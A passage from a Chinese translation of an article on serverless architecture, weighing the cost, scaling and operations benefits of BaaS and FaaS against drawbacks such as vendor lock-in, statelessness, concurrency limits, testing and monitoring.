&lt;p&gt;主要从两个方面降低了成本：首先是从共享基础设施（例如硬件、网络）方面；第二是人力成本方面：同等规模的情况下，外包的无服务器系统，相对于自行开发和支撑的应用话费要低。&lt;/p&gt;

&lt;p&gt;这种获益，跟从前我们从 IaaS 和 PaaS 之中的获益并没有太大的差异。但是我们可以分别从 BaaS 和 FaaS 两方面来扩展这方面的讨论。&lt;/p&gt;

&lt;h3 id=&#34;baas-降低开发成本&#34;&gt;BaaS：降低开发成本&lt;/h3&gt;

&lt;p&gt;IaaS 和 PaaS 都是建立在服务器和操作系统的标准化基础上的。类似的，BaaS 的基础就是应用程序组件的标准化。&lt;/p&gt;

&lt;p&gt;认证就是一个好例子。很多应用都开发了自己的认证功能，一般包含了注册、登录、密码管理以及和其他认证系统的集成等功能。总体上看，绝大多数应用的这种功能都是类似的，&lt;a href=&#34;https://auth0.com/&#34; target=&#34;_blank&#34;&gt;Auth0&lt;/a&gt; 这样的服务应运而生，我们可以直接把这样完备的功能集成到我们的应用中，不再需要自行开发。&lt;/p&gt;

&lt;p&gt;另外一个例子就是 &lt;a href=&#34;https://firebase.google.com/docs/database/&#34; target=&#34;_blank&#34;&gt;Firebase&lt;/a&gt; 这样的 BaaS 的数据库。有些移动应用团队有让客户端直接和服务端数据库打交道的需要。BaaS数据库消除了大部分数据库管理开销，迎合无服务器应用程序的需求，为不同类型用户提供了各自合理的授权机制。&lt;/p&gt;

&lt;p&gt;因为大家各自的不同背景，可能会有人不以为然（后面也会提到一些问题），但毋庸置疑，不少成功企业都已经在几乎没有自己的服务端代码的情况下交付了成功的产品。在第一次无服务器会议上，&lt;a href=&#34;http://www.slideshare.net/ServerlessConf/joe-emison-10x-product-development&#34; target=&#34;_blank&#34;&gt;Joe Emison 给出了一些例子&lt;/a&gt;。&lt;/p&gt;

&lt;h3 id=&#34;faas-伸缩成本&#34;&gt;FaaS：伸缩成本&lt;/h3&gt;

&lt;p&gt;前面写过，无服务器 FaaS 有个有趣的事情就是：水平伸缩是完全自动化的、弹性的，当然也是由服务商提供的。这个特点有很多好处，不过最最根本的好处就是：只为必要的用量来买单，例如 AWS Lambda （的计费能够）精确到 100 毫秒。随用户的流量规模和类型不同，这可能会带来巨大的经济效益。&lt;/p&gt;

&lt;h4 id=&#34;例-偶发性请求&#34;&gt;例：偶发性请求&lt;/h4&gt;

&lt;p&gt;假设你有一个服务应用在运行，这个应用每分钟消耗 50 毫秒来处理一个请求，一个小时内的 CPU 消耗是 0.1%。如果这个应用部署在自己的独立主机上，很明显会是非常低效的。上千个类似的应用来共享这台机器才合理。&lt;/p&gt;

&lt;p&gt;无服务器 FaaS 就能更有效的处理这种情况，从而帮助用户降低成本。例如上面提到的应用，每分钟花费 100 毫秒的 CPU 时间，0.15% 的占用率，用户只要为此付款即可。&lt;/p&gt;

&lt;p&gt;如下几方面的好处：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;一些微服务类的应用，可能只有很小的负载需求，提供了根据逻辑/域拆分组件的能力，如此细粒度的应用可能在运维成本上是让人难以承受的。&lt;/li&gt;
&lt;li&gt;如果一个公司或者团队希望尝试一些新东西，如果使用 FaaS 的话，只需要非常小的运维成本。如果工作负载非常小，那么供应商的赠金可能就足够使用了。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;例-间歇型流量&#34;&gt;例：间歇型流量&lt;/h4&gt;

&lt;p&gt;另一个例子，假设一个业务的流量曲线非常陡峭，可能基线流量是每秒 20 请求，但是每 5 分钟会受到一次持续 10 秒钟的每秒 200 请求（10 倍）的冲击。我们继续假设，你的服务器的最大性能可以满足你的性能基线要求，但是在流量高峰期间，也不想要降低性能表现，怎么办呢？&lt;/p&gt;

&lt;p&gt;传统环境下，虽说高峰时段只占总量的不足 4%，还是需要增加到 10 倍的硬件数量，来应对流量高峰。自动伸缩可能在这里也不太合适，新服务器启动完成之后，可能高峰时段已经结束了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/inconsistent-traffic-pattern.png&#34; alt=&#34;inconsistent-traffic-pattern.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;无服务器的 FaaS 在这里就如鱼得水了。如果流量仅是数量不同，原则上你不需要做什么不同的事情，只需要支付高峰时段的额外计算费用即可。&lt;/p&gt;

&lt;p&gt;显而易见，这里我们用的例子比较极端，从而凸显了节约成本的效果，但是重点在于，从伸缩的视角来看，除非你有非常稳定的流量模式，能够持续使用服务器的稳定负载，否则 FaaS 始终是一个节约成本的手段。&lt;/p&gt;

&lt;p&gt;上文中一个值得注意的提醒：如果你的流量是一致的并且持续的以较好的利用率运行在服务器上，那可能看不到什么成本节约，FaaS 方案甚至可能要消耗更多的成本。建议进行计算，来评估和比较不同方案的差异。&lt;/p&gt;

&lt;p&gt;推荐阅读 Gojko Adzic 和 Robert Chatley 的 &lt;a href=&#34;http://www.doc.ic.ac.uk/~rbc/papers/fse-serverless-17.pdf&#34; target=&#34;_blank&#34;&gt;Serveless Computing: Economic and Architectural Impact（无服务器计算：经济和架构）&lt;/a&gt;。&lt;/p&gt;

&lt;h4 id=&#34;优化才是成本节约的根源&#34;&gt;优化才是成本节约的根源&lt;/h4&gt;

&lt;p&gt;FaaS 的成本问题，还有一个有趣的方面就是：性能优化不仅仅提高了应用的性能，还会直接的对运维成本造成影响，具体的影响范围要看服务商的收费方案粒度和形式。例如一个应用原本需要一秒钟来处理事件。通过优化之后，处理事件降低到 200 毫秒，（AWS Lambda）上，会看到节省了 80% 的计算资源。&lt;/p&gt;

&lt;h3 id=&#34;简化运维管理&#34;&gt;简化运维管理&lt;/h3&gt;

&lt;p&gt;下面的内容需要强调——无服务器方案中依旧存在一些运维工作，但是会有一些改善。&lt;/p&gt;

&lt;p&gt;在无服务器 BaaS 中，很明显运维管理要比其他架构简单：支撑更少的组件，就相当于更少的工作。&lt;/p&gt;

&lt;p&gt;而 FaaS 中，会有很多方面的影响。下面我会尝试深入阐述几个方面。&lt;/p&gt;

&lt;h4 id=&#34;faas-的伸缩优势不仅在于基础设施的成本&#34;&gt;FaaS 的伸缩优势不仅在于基础设施的成本&lt;/h4&gt;

&lt;p&gt;刚刚讲过伸缩的问题，FaaS 方案的优势不仅在于节约计算成本，还因为自动伸缩的能力降低了运维管理的成本。&lt;/p&gt;

&lt;p&gt;最好的情况下，如果你的伸缩过程是人工的——也就是说由工程师在服务器集群中增加或删除实例——在 FaaS 中就可以忘记这些，而是让供应商来完成这些任务。&lt;/p&gt;

&lt;p&gt;即使是在非 FaaS 架构中实现了自动伸缩，还是需要设置和管理的；而在 FaaS 中这就不需要了。&lt;/p&gt;

&lt;p&gt;类似的，因为伸缩是由供应商根据请求/事件来完成了，耗尽内存或者其他性能瓶颈发生之前，&lt;strong&gt;不用操心可以同时处理多少并发请求了&lt;/strong&gt;，至少 FaaS 的部分不用。而非 FaaS 或者下游数据库的部分则要谨慎的根据负载情况进行性能方面的调整。&lt;/p&gt;

&lt;h4 id=&#34;降低打包和部署的复杂度&#34;&gt;降低打包和部署的复杂度&lt;/h4&gt;

&lt;p&gt;FaaS Function 的打包和部署，相对于部署整个服务来说是比较简单的。只要把代码打个 Zip 包，然后上传就可以了。无需 Puppet/Chef，没有启动停止的 Shell 脚本，也不用考虑部署一个还是多个容器。如果是刚起步，甚至都不用打包任何东西——可以在服务商的控制台上直接编写代码（这种方式当然是不推荐的）。&lt;/p&gt;

&lt;p&gt;这个过程的重要性无需多言，对有些团队来说——这个好处非常重要：&lt;strong&gt;完全 FaaS 系统是不需要系统管理的&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;PaaS 方案有类似的部署有点，但是我们前面做过比较：相对于 PaaS 来说，FaaS 的伸缩能力具有巨大优势。&lt;/p&gt;

&lt;h4 id=&#34;上市时间和持续实验&#34;&gt;上市时间和持续实验&lt;/h4&gt;

&lt;p&gt;上面说的运维管理方面的优势，工程师们都很了解。但是对业务方面，这又意味着什么呢？&lt;/p&gt;

&lt;p&gt;很明显的一点就是成本：前面也说过：运维方面时间消耗减少，就等于降低了人员需求。但是我认为还有个更大的好处就是&lt;a href=&#34;https://en.wikipedia.org/wiki/Time_to_market&#34; target=&#34;_blank&#34;&gt;上市时间&lt;/a&gt;。我们的团队和产品日益精益和敏捷，我们希望不断尝鲜并且快速更新现有系统。持续交付让我们可以在项目稳定的基础上实现快速迭代，从而降低了从创意到部署的门槛，可以用最小代价来进行新的尝试。&lt;/p&gt;

&lt;p&gt;成本优势是无服务器技术的最容易表达的优势，时间的缩减尤其让我激动。他让&lt;a href=&#34;https://www.youtube.com/watch?v=mzjhEZLTEpM&#34; target=&#34;_blank&#34;&gt;持续实验&lt;/a&gt;成为一种可能，对于软件企业来说，这是真正的革命。&lt;/p&gt;

&lt;h4 id=&#34;更环保的计算&#34;&gt;更环保的计算？&lt;/h4&gt;

&lt;p&gt;最近十几年，数据中心的规模和数量都有了巨大的增长，数据中心所需的能源和物料消耗也都极为庞大。谷歌、苹果都在尝试将数据中心建设在可再生能源的附近，从而减少对化石能源的消耗。&lt;/p&gt;

&lt;p&gt;空转的服务器在消耗能量——这是我们需要更多更大数据中心的主要原因之一：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;一年中，商业和企业数据中心中的典型服务器所输出的计算能力一般在其最大输出能力的 5% 到 15% 之间。
&amp;ndash;福布斯&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这非常低效，造成巨大的环境问题。&lt;/p&gt;

&lt;p&gt;基于云的基础设施架构在一定程度上环节了这种问题——公司已经不再需要为低概率需求购买并长期闲置服务器，而是按需够买。然而这一问题可能因此进一步恶化：服务器易于获得却难于管理，造成大量的服务器因疏于管理而闲置。&lt;/p&gt;

&lt;p&gt;不管我们的基础设施用的是自有服务器、IaaS 还是 PaaS 方案，我们始终需要根据应用来做经年累月的决策活动。容量问题需要谨慎对待，所以过度规划其实是个必然情况。而无服务器架构中，我们不需要自行完成这一过程了——服务商需要根据我们的业务量实时的满足我们的性能需求。FaaS 供应商自身则需要通过对所有客户的数据的聚合，来完成自己的容量规划。&lt;/p&gt;

&lt;p&gt;这种区别的结果就是跨数据中心的资源的高效利用，相对于传统的容量管理方案，显著的降低了环境的不良影响。&lt;/p&gt;

&lt;h2 id=&#34;缺陷&#34;&gt;缺陷&lt;/h2&gt;

&lt;p&gt;所以亲爱的读者们，好话已经说尽，然而世事无绝对，接下来我们就要面对现实，看看无服务器体系的为难之处了。&lt;/p&gt;

&lt;p&gt;无服务器架构的可爱之处是显而易见的，但是这其中还是有一些妥协的需要。有些问题是与生俱来的，通过过程控制无法完全杜绝，需要始终保持警惕；另有一些是和当前的实现有关的，随着时间的推移，最终应该会得到解决。&lt;/p&gt;

&lt;h3 id=&#34;先天不足&#34;&gt;先天不足&lt;/h3&gt;

&lt;h4 id=&#34;服务商控制&#34;&gt;服务商控制&lt;/h4&gt;

&lt;p&gt;任何的外包活动，都会把一些系统移交给第三方供应商进行控制。这种失控有时候会爆发出来，例如系统宕机、意外的限制、成本变化、功能缺失、API 强制升级等等等等。前面提到的 Charity Majors，在 &lt;a href=&#34;https://charity.wtf/2016/05/31/operational-best-practices-serverless/&#34; target=&#34;_blank&#34;&gt;OPERATIONAL BEST PRACTICES #SERVERLESS&lt;/a&gt; 的妥协部分对这个问题做了详细阐述：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;供应商如果够聪明的话，会在用法上加入很强的限制条款，这样才能更方便的实现可靠的目标。用户所享有的弹性和选项就是混乱和脆弱的来源。当不同客户的喜好发生冲突的时候，很明显供应商会选择多数的一方来进行满足。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4 id=&#34;多租户问题&#34;&gt;多租户问题&lt;/h4&gt;

&lt;p&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/Multitenancy&#34; target=&#34;_blank&#34;&gt;多租户&lt;/a&gt;指的是多个不同的客户（或者租户）在同一服务器上或同样的托管应用中运行多个软件实例的情况，（多租户策略）是实现我们前面提到的规模效益的关键点。服务商会努力让客户感觉自己是系统的唯一用户，一般来说，好的供应商也都成功的完成了这一工作。但是世事无绝对，有时候有些多租户方案会出现一些安全问题（一个客户能访问到别的客户的数据）、健壮性问题（一个客户的软件故障导致了其他用户的故障）以及性能问题（高负载客户拖慢了其他用户的应用）。&lt;/p&gt;

&lt;p&gt;这些问题不是无服务器系统的专利——所有多租户系统都有这种可能。AWS Lambda 现在很成熟，我们大概不会看到她出现这种问题，但是不管使用的是 AWS 还是其他供应商，都应该注意这些 Issue，防止部分服务出现问题。&lt;/p&gt;

&lt;h4 id=&#34;供应商锁定&#34;&gt;供应商锁定&lt;/h4&gt;

&lt;p&gt;很有可能出现的情况就是，正在使用某个厂商的一个无服务器功能，在其他厂商的实现可能会是不同的。如果想要更换成其他厂商，可能需要更新运维工具（部署、监控等），还可能需要变更你的代码（满足不同的 FaaS 界面），更有甚者，架构设计可能也无法幸免于难，需要适应不同供应商的实现方式。&lt;/p&gt;

&lt;p&gt;即使系统中存在能够平滑迁移的部分，恐怕还是会被其他的架构组件所影响。如果你使用的是 AWS Lambda，用来响应一个 AWS Kinesis 消息总线的事件。&lt;a href=&#34;https://aws.amazon.com/lambda/&#34; target=&#34;_blank&#34;&gt;AWS Lambda&lt;/a&gt;、&lt;a href=&#34;https://cloud.google.com/functions/docs/&#34; target=&#34;_blank&#34;&gt;Google Cloud Function&lt;/a&gt; 以及 &lt;a href=&#34;https://azure.microsoft.com/en-us/services/functions/&#34; target=&#34;_blank&#34;&gt;Microsoft Azure Function&lt;/a&gt; 之间的差异并不大，但是很难把后面两个厂商的东西迁移到 AWS Kinesis stream 上。这说明了，从一个方案到另一个方案的迁移或者说适配，必须把整个基础设施同步迁移才可能完成。&lt;/p&gt;

&lt;p&gt;很多人对此感觉惊讶——如果想要换个供应商，可能要做很多事情。这是因为有些用户采用了一种称为“多云”的方式，这种方式把云厂商进行抽象和隔离，从而统一进行开发和运维。一般来说这比单云方式要昂贵。所以虽然供应商锁定是个显而易见的弱势，我仍然推荐选择一个喜欢的供应商，尽可能的使用它的能力。我的另一篇文章 &lt;a href=&#34;https://blog.symphonia.io/on-serverless-multi-cloud-and-vendor-lock-in-da930b3993f&#34; target=&#34;_blank&#34;&gt;On Serverless, Multi-Cloud, and Vendor Lock In&lt;/a&gt; 中对这个问题进行了更多的探讨。&lt;/p&gt;

&lt;h4 id=&#34;安全问题&#34;&gt;安全问题&lt;/h4&gt;

&lt;p&gt;在采用无服务器方法的过程中，会遇到很多安全方面的挑战。下面有一个非常简略的列表——还有很多这方面的问题需要读者自行注意。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;每个无服务器供应商都给你的系统中增加了不同的安全实现。这可能增大了恶意用户的接触机会，可能也会提高被攻击的可能性。&lt;/li&gt;
&lt;li&gt;如果直接从移动客户端使用 BaaS 数据库，那么就失去了传统应用访问数据库的那种服务端的安全隔离机制。这不是个致命问题，但是对应用的设计和开发过程需要多加注意。&lt;/li&gt;
&lt;li&gt;组织在采用无服务器方法的过程中，读者可能会受到很大冲击。每个 Function 可能有额外的问题需要解决。例如 AWS 的 Lambda 中的每个 Function 都需要配置一个很容易搞错的 &lt;a href=&#34;https://docs.aws.amazon.com/lambda/latest/dg/access-control-identity-based.html&#34; target=&#34;_blank&#34;&gt;IAM Policy&lt;/a&gt;。这是个无法忽视的难题。AWS 的生产环境中的 IAM 管理需要仔细考量。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;客户平台之间的重复逻辑&#34;&gt;客户平台之间的重复逻辑&lt;/h4&gt;

&lt;p&gt;在一个完全的 BaaS 架构中是没有服务端逻辑的——所有都在客户端。如果这是你的第一个客户端应用，那没什么问题，但是很快你需要做下一个平台了，那就需要为你的逻辑重新做一个实现——如果是传统架构的话，本来不需要如此重复。假设在这种系统中试用了一个 BaaS 数据库。所有的客户端应用（可能包括 Web、原生 iOS、以及原生的 Android）都需要和这个数据库打交道，必须学会数据库和应用之间的沟通方式。&lt;/p&gt;

&lt;p&gt;还有，如果想要迁移到一个新的数据库，可能要把所有客户端的代码都做出相应的迁移操作。&lt;/p&gt;

&lt;h4 id=&#34;服务端优化的缺失&#34;&gt;服务端优化的缺失&lt;/h4&gt;

&lt;p&gt;一个完全的 BaaS 架构中，就没有在服务端为客户端进行优化的可能性了。&lt;a href=&#34;http://samnewman.io/patterns/architectural/bff/&#34; target=&#34;_blank&#34;&gt;Backend for Frontend&lt;/a&gt; 模式中，对系统服务器底层进行了抽象和屏蔽，这样客户端就可以更快（在移动应用中更省电）的完成操作。但是全 BaaS 架构中就没有这个便利了。&lt;/p&gt;

&lt;p&gt;这一条和前面一条缺陷的起因是一样的，所有逻辑都在客户端实现，而后端则是由服务商提供的。如果使用一些轻量级的服务端框架用来支撑部分逻辑，可能会降低这种问题造成的影响。&lt;/p&gt;

&lt;h4 id=&#34;在-faas-中-不存在服务端状态&#34;&gt;在 FaaS 中，不存在服务端状态&lt;/h4&gt;

&lt;p&gt;在说完 BaaS 的缺陷之后，我们来谈谈 FaaS，之前我提到过：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;FaaS Function 在本地（服务器、绑定实例）状态方面有着严格的限制，这里说的状态包括内存中的变量、本地盘中的数据等。这些存储都是可用的，但是这些状态信息在多次调用之间是没有持久化方面的保障的，也不能假设一次调用中保存的状态会在另一次调用中生效。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这一假设的原因是在 FaaS 中我们通常没有办法控制在服务端中我们的容器/服务器的启动或者停止。&lt;/p&gt;

&lt;p&gt;另外我还说过，一个解决本地状态的变通方法就是十二军规中的第六条：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;12 军规应用的进程是无状态的，不分享任何东西。所有的需要持久化的数据必须存储在一个有状态的后端服务中，这一服务通常是数据库。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Heroku 推荐这种方式，但是在 Heroku 中可以做些变通——这是因为用户能够控制 Heroku Dynos 的启动和停止。如果是 FaaS，就无法绕过了。&lt;/p&gt;

&lt;p&gt;所以在 FaaS 中，状态既然不能保存在内存里，那该如何处置？上面提到的方法是使用数据库，例如一个快速的 NoSQL 数据库或者进程外缓存（Redis 之类），或者外部的对象/文件存储（比如说 S3）都是可选的解决方法。但是这些方法都比内存或者本机持久化要慢得多。还是应该慎重考虑，你的应用是否适合如此操作。&lt;/p&gt;

&lt;p&gt;这个情况引发的另外一个忧虑就是内存内缓存。很多应用都会把外部读取的大型数据源的数据保存在内存缓存中。你可能会使用 &lt;a href=&#34;http://samnewman.io/patterns/architectural/bff/&#34; target=&#34;_blank&#34;&gt;Ehcache&lt;/a&gt; 之类的技术来访问引用数据表。又或者在使用 HTTP 服务的时候，因为 HTTP 头指定了缓存，这种情况下你的 HTTP 客户端也会使用本地缓存。&lt;/p&gt;

&lt;p&gt;FaaS 不允许使用本地缓存，这种情况适用于频繁使用的 Function。例如 AWS Lambda，我们预期一个 Function 实例持续运行几个小时，没几分钟至少使用一次。这意味着我们可以使用 Lambda 提供的（可配置的）3GB 内存或者 500 GB 的本地 &amp;ldquo;/tmp&amp;rdquo;，对一些缓存来说这可能不太够用。否则你可能不该假设进程内缓存的存在，转向使用一些低延迟的外部缓存，例如 Redis 或者 Memcached。当然这需要额外的工作，可能无法满足对应用效率的需要。&lt;/p&gt;

&lt;h3 id=&#34;实现的缺陷&#34;&gt;实现的缺陷&lt;/h3&gt;

&lt;p&gt;前面描述了一些 Serverless 的先天问题。我们看看一些缓解这些问题的变通方案。注意只是缓解，不是解决。&lt;/p&gt;

&lt;p&gt;剩下的缺点主要是现有的技术限制，随着厂商和社区的持续努力，这些问题会逐渐解决。事实上和本文的第一个版本比较来说，这个列表的已经缩短了许多。&lt;/p&gt;

&lt;h4 id=&#34;配置&#34;&gt;配置&lt;/h4&gt;

&lt;p&gt;我在编写本文的第一版的时候，AWS 在 Lambda 中提供了很少的配置能力。现在我欣喜的看到，这个问题已经解决了。如果你使用其他的平台，这方面的能力一定要检查一下。&lt;/p&gt;

&lt;h5 id=&#34;给自己一个-dos-拒绝服务攻击&#34;&gt;给自己一个 DoS（拒绝服务攻击）&lt;/h5&gt;

&lt;p&gt;“买者自负责任”，这一原则在 FaaS 交易中非常重要。AWS Lambda 对 Function 有一个指定时间内并行数量的限制。如果这个限制是 1000，那么就说明允许这个 Function 同时运行 1000 个实例。如果需要超过这个限制，那么就可能得到异常、排队或者运行缓慢等后果。&lt;/p&gt;

&lt;p&gt;这里的问题就是这个限制在整个 AWS 账号内都有效的。有些组织在生产和测试环境上使用同一个账号。这样也就意味着如果组织内有人做了一个压力测试——试着执行 1000 个并发的 Lambda Function，就成了一个针对生产环境的 &lt;a href=&#34;https://en.wikipedia.org/wiki/Denial-of-service_attack&#34; target=&#34;_blank&#34;&gt;DoS&lt;/a&gt; 了。&lt;/p&gt;

&lt;p&gt;就算开发和生产用的是不同的 AWS 账号，生产环境中一个超载的 Lambda（例如处理客户的批量上传）可能会让其他的实时 API 变得无法访问。&lt;/p&gt;

&lt;p&gt;Amazon 在这方面使用&lt;a href=&#34;https://blog.symphonia.io/aws-lambda-reserved-concurrency-f2c3a32b9f1d&#34; target=&#34;_blank&#34;&gt;保留并行&lt;/a&gt;的方式提供了一些保护。这种办法让用户可以限制一个 Lambda Function 的并行数量，这样就不会影响到账号中的其他功能。然而这个功能缺省并不会启动的，它需要谨慎的管理才能使用。&lt;/p&gt;

&lt;h5 id=&#34;执行时长&#34;&gt;执行时长&lt;/h5&gt;

&lt;p&gt;本文最初提到过，AWS Lambda 函数如果运行时间超过 5 分钟，就会退出，这一规定已经执行了几年，目前没有迹象表明 AWS 会修改这一限制。&lt;/p&gt;

&lt;h5 id=&#34;启动延迟&#34;&gt;启动延迟&lt;/h5&gt;

&lt;p&gt;前面提到过冷启动，还引用了&lt;a href=&#34;https://blog.symphonia.io/learning-lambda-part-8-addfab6b460d&#34; target=&#34;_blank&#34;&gt;我在这方面的一篇文章&lt;/a&gt;。AWS 在这方面做出了一些改进，但是问题依然存在，尤其是触发一个 JVM 实现的函数、或者是需要 VPC 资源的情况下。这方面的改进超出了本文范畴，就不再赘述了。&lt;/p&gt;

&lt;p&gt;AWS Lambda 已经提到很多了，我想其他的供应商同样会有一些不够漂亮的实现。&lt;/p&gt;

&lt;h5 id=&#34;测试&#34;&gt;测试&lt;/h5&gt;

&lt;p&gt;基于前面提到的理由，Serverless 应用的单元测试是相对简单的：所有代码都“只是代码”，多数情况下，这里没有什么必须包含的库或者必须实现的接口。&lt;/p&gt;

&lt;p&gt;Serverless 应用的集成测试就不简单了。BaaS 的世界里，要依赖外部的系统，而不再是自己的数据库。所以集成测试也要用外部系统么？如果答案是肯定的，那么这些外部系统有提供测试的能力么？能够轻松的管理状态么？外部服务商会为压力测试提供不同的计费策略么？&lt;/p&gt;

&lt;p&gt;如果要抛开外部服务独立进行集成测试，那么模拟环境的仿真程度如何？如果供应商没有提供模拟环境，用户可能自己开发么？&lt;/p&gt;

&lt;p&gt;FaaS 方面虽然会好一些，但是也有同样的问题。现在已经有办法在本地运行 Lambda 以及 Azure 的 Faas 函数。然而本地环境是不可能完全模拟云端的；依赖本地的 FaaS 环境我是很不推荐的。实际上我认为应该用正式环境运行自动的集成测试，至少是作为&lt;a href=&#34;https://martinfowler.com/bliki/DeploymentPipeline.html&#34; target=&#34;_blank&#34;&gt;部署管线&lt;/a&gt;的一部分，本地开发仅应用于开发的交互和除错。本地测试环境在持续的改进过程中，例如 &lt;a href=&#34;https://github.com/awslabs/aws-sam-cli&#34; target=&#34;_blank&#34;&gt;SAM CLI&lt;/a&gt; 就为 Lambda HTTP API 应用提供快速反馈的能力。&lt;/p&gt;

&lt;p&gt;在执行云端的集成测试之前，还应该注意前面说过的跨账号执行限制。为了更好的完成这一任务，可能需要把测试活动和生产账号进行隔离，或者更细粒度的账号管理也不算过分。&lt;/p&gt;

&lt;p&gt;在云端进行测试，而不是在自己的笔记本上，看起来很震撼。但是时代在变化，我们在云端获得的这一能力，事实上 Google 的工程师已经使用了超过 10 年了。Amazon 甚至还希望&lt;a href=&#34;https://aws.amazon.com/cloud9/&#34; target=&#34;_blank&#34;&gt;在云端运行 IDE&lt;/a&gt;，我还没有完成这一跳，不过很可能会是个方向。&lt;/p&gt;

&lt;h5 id=&#34;debug&#34;&gt;Debug&lt;/h5&gt;

&lt;p&gt;FaaS 上的除错是个有趣的领域。这里目前的进展主要是在本地运行 FaaS 函数，上面也说过这一点。微软提为本地运行的函数提供了很棒的由远程触发的除错支持。Amazon 提供了类似的能力，但是还不能用生产事件触发。&lt;/p&gt;

&lt;p&gt;对实际运行在云端生产环境的函数是个不同的事情。目前 Lambda 没有这方面的支持，我对此非常期待。&lt;/p&gt;

&lt;h5 id=&#34;部署-打包和版本&#34;&gt;部署、打包和版本&lt;/h5&gt;

&lt;p&gt;这是一个正在飞速进步的领域。AWS 在这方面做出很多创新，后续章节会进一步展开。&lt;/p&gt;

&lt;h5 id=&#34;服务发现&#34;&gt;服务发现&lt;/h5&gt;

&lt;p&gt;微服务世界中&lt;a href=&#34;https://www.nginx.com/blog/service-discovery-in-a-microservices-architecture/&#34; target=&#34;_blank&#34;&gt;服务发现&lt;/a&gt;是个常见名词：服务如何调用合适版本的其它服务。在 Serverless 世界中就很少会讨论这一问题。最开始我比较担心，目前已经释然了。很多 Serverless 的应用都是事件驱动的，服务的消费者通常要自行完成注册。基于 API 的 FaaS 通常会在 API 网关之后运行，相关的部署、流量控制也都是由网关完成的。我们甚至可以在 API 网关之前再加一层（例如使用 &lt;a href=&#34;https://aws.amazon.com/cloudfront/&#34; target=&#34;_blank&#34;&gt;AWS CloudFront&lt;/a&gt;），从而获得跨区域的服务弹性。&lt;/p&gt;

&lt;p&gt;这方面的内容我放在这里的原因是，我认为这个问题尚未解决，但是最终结果还是相当乐观的。&lt;/p&gt;

&lt;h5 id=&#34;监控&#34;&gt;监控&lt;/h5&gt;

&lt;p&gt;监控对 FaaS 来说是比较麻烦的，根本原因就在于容器的不稳定性。很多云供应商提供了一系列的监控支持，我们也看到了很多传统的第三方厂商提供了这方面的能力。然而所有的数据来源都是供应商的基础数据。有时候这是好事，但是仅就 AWS Lambda 来说，他们的数据还很基础。我们真正需要的是对第三方厂商开放 API，以此获得更多支持。&lt;/p&gt;

&lt;h5 id=&#34;api-网关以及超级-api-网关&#34;&gt;API 网关以及超级 API 网关&lt;/h5&gt;

&lt;p&gt;ThoughtWorks 在技术雷达中讨论过&lt;a href=&#34;https://www.thoughtworks.com/radar/platforms/overambitious-api-gateways&#34; target=&#34;_blank&#34;&gt;超级网关（over-ambitious API gateways）&lt;/a&gt;。参考链接中是通用的 API 网关，很明显可以用于 FaaS 函数的 HTTP 前端。API 网关在这里的问题是这类产品在自身的配置中包含了很多的应用级别的逻辑。这些逻辑一般来说是难于进行测试、版本管理的，甚至定义本身也具有很大难度。当然，通常情况下其定义过程还是优于在应用代码中实现的。&lt;/p&gt;

&lt;p&gt;这样一来就又一个权衡。如果我们将 API 网关视为 BaaS，它提供的能力是否节省了我们的投入？如果我们按照每次请求来支付 API 网关的费用，而不是按 CPU 使用率，那么最大限度地利用 API 网关的功能是否更具成本效益？&lt;/p&gt;

&lt;p&gt;我的建议是，对于 API 网关的功能应该审慎考虑，只有在网关产品的长期运行真正能够在部署、监控以及测试方面节省开销的情况下才可以大量使用。如果其配置过程无法使用版本源码或者部署脚本的话，就绝对不要使用。&lt;/p&gt;

&lt;p&gt;因为难于定义，Amazon 的 API 网关过去需要使用一些古怪的配置来为 Lambda 进行 HTTP 请求和响应的映射。由于 &lt;a href=&#34;https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-create-api-as-simple-proxy-for-lambda.html&#34; target=&#34;_blank&#34;&gt;Lambda Proxy Integration&lt;/a&gt; 的出现，这一情况大有改观，但还是需要理解一些细微之处。在开源项目 &lt;a href=&#34;https://github.com/serverless/serverless&#34; target=&#34;_blank&#34;&gt;Serverless Framework&lt;/a&gt;、&lt;a href=&#34;https://github.com/claudiajs/claudia&#34; target=&#34;_blank&#34;&gt;Claudia.js&lt;/a&gt;，以及 Amazon 的 &lt;a href=&#34;https://docs.aws.amazon.com/lambda/latest/dg/serverless_app.html&#34; target=&#34;_blank&#34;&gt;Serverless Application Model&lt;/a&gt; 中，这些元素自身也得以简化。&lt;/p&gt;

&lt;h5 id=&#34;运维的差异&#34;&gt;运维的差异&lt;/h5&gt;

&lt;p&gt;上面说过，Serverless 并非 &amp;ldquo;No Ops&amp;rdquo;，在监控、伸缩、安全以及网络方面都有很多事情要做。然而开始之后，很容易忽略运维工作。这里一个风险就是失去对安全问题的感知。可能你的应用上线运行后，不小心就出现在黑客新闻中，然后就出现数十倍的流量，然后就陷入 DoS 之中，却无法自拔。&lt;/p&gt;

&lt;p&gt;这里就需要教育来跟进。Serverless 系统团队需要及早考虑运维方案，供应商和社区都提供了这方面的支持。包括压力测试、&lt;a href=&#34;https://www.oreilly.com/webops-perf/free/chaos-engineering.csp&#34; target=&#34;_blank&#34;&gt;混沌工程&lt;/a&gt;在内的方法都应该及早学习。&lt;/p&gt;

&lt;h2 id=&#34;serverless-的未来&#34;&gt;Serverless 的未来&lt;/h2&gt;

&lt;p&gt;行文至此，再来讨论一下我认为的 Serverless 技术一些方面在未来的可能发展。&lt;/p&gt;

&lt;h3 id=&#34;克服缺点&#34;&gt;克服缺点&lt;/h3&gt;

&lt;p&gt;Serverless 还是个新事物。前面提到的问题已经很多，而且一定不是全部。Serverless 最重要的事情就是克服这些问题，至少要大幅改善，尤其是实现方面的问题。&lt;/p&gt;

